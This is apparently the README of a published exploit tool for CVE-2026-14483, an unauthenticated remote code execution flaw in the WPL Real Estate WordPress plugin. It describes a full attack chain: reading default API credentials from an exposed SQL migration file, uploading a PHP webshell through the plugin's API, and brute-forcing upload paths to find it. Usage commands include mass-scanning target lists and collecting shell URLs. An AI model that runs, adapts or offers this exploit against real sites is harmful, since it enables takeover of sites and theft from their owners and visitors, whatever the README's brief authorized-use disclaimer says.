Share
## https://sploitus.com/exploit?id=4815F1CE-8393-54F9-9FB1-89C32EDD55A7
# CVE-2026-14483 โ€” WPL Real Estate RCE

Unauthenticated remote code execution against the **Realtyna WPL Real Estate Listing** WordPress plugin.

| Field | Detail |
|---|---|
| **CVE** | CVE-2026-14483 |
| **Affected version** | `5.2.0` |
| **Plugin** | `real-estate-listing-realtyna-wpl` |
| **Impact** | Unauthenticated PHP webshell upload (RCE) |
| **Script** | `CVE-2026-14483.py` |
| **Author** | MADEXPLOITS |

> By default the script **only** exploits targets running WPL **5.2.0**. Use `--force` to override.


## IMAGE




---

## Vulnerability summary

1. **Credential leak** โ€” Default `api_key` / `api_secret` are exposed via a public SQL migration dump.
2. **Unauthenticated upload** โ€” Those credentials authenticate the WPL I/O API (`set_property`), allowing a crafted PHP file to be uploaded as a property image.
3. **Webshell discovery** โ€” The uploaded shell is located under `wp-content/uploads/WPL/{property_id}/`.

---

## Requirements

```bash
pip install requests colorama
```

- Python 3.8+
- Network access to the target(s)

---

## Usage

### Target list

Create a text file with one base URL per line:

```text
http://wplab.test
https://example.com
```

### Basic run

```bash
python CVE-2026-14483.py --targets targets.txt
```

Successful shell URLs are appended to `result.txt` (or `--output`).

### Full options

```bash
python CVE-2026-14483.py \
  --targets targets.txt \
  --output result.txt \
  --user-id 1 \
  --max-id 1000 \
  --timeout 30 \
  --threads 5 \
  --debug \
  --force
```

| Argument | Default | Description |
|---|---|---|
| `--targets` | *(required)* | File with base URLs (one per line) |
| `--output` | `result.txt` | File to append found shell URLs |
| `--user-id` | `1` | WordPress / WPL user ID that owns the new property |
| `--payload` | built-in upload shell | Custom PHP payload string |
| `--max-id` | `1000` | Max property ID to brute-force when locating the shell |
| `--timeout` | `30` | HTTP timeout in seconds |
| `--threads` | `5` | Concurrent worker threads |
| `--debug` | off | Verbose debug logging |
| `--force` | off | Exploit even if version โ‰  5.2.0 or version cannot be detected |

---

## Exploit flow

```
Target URL
    โ”‚
    โ–ผ
Detect WPL version (readme.txt / wpl.php)
    โ”‚  skip unless == 5.2.0 (or --force)
    โ–ผ
Fetch api_key + api_secret from:
  /wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql
    โ”‚
    โ–ผ
POST set_property via WPL I/O API
  (upload image_0x89MADEXPLOITS.php as image/jpeg)
    โ”‚
    โ–ผ
Brute-force property ID 1..max-id
  /wp-content/uploads/WPL/{id}/0x89MADEXPLOITS.php
    โ”‚
    โ–ผ
Write shell URL โ†’ output file
```

Default shell marker: `MADEXPLOITS`  
Default remote filename: `0x89MADEXPLOITS.php`

---

## Examples

**Single lab target (this workspace):**

```bash
echo http://wplab.test > targets.txt
python CVE-2026-14483.py --targets targets.txt --debug
```

**Mass scan with higher concurrency:**

```bash
python CVE-2026-14483.py --targets targets.txt --threads 20 --output shells.txt
```

**Force exploit when version check fails:**

```bash
python CVE-2026-14483.py --targets targets.txt --force
```

---

## Output

```
[+] Shell found: http://target/wp-content/uploads/WPL/32/0x89MADEXPLOITS.php
[*] Progress: 1/1 | Found: 1
[+] Done. Found 1 shell(s). Check 'result.txt' for URLs.
```

`result.txt` contains one shell URL per line.

---

## Notes

- Version is read from `Stable tag:` / `Version:` in the plugin `readme.txt`, with fallback to `wpl.php`.
- If the shell is not found after upload, raise `--max-id`.
- Intended for authorized security testing / local lab use only.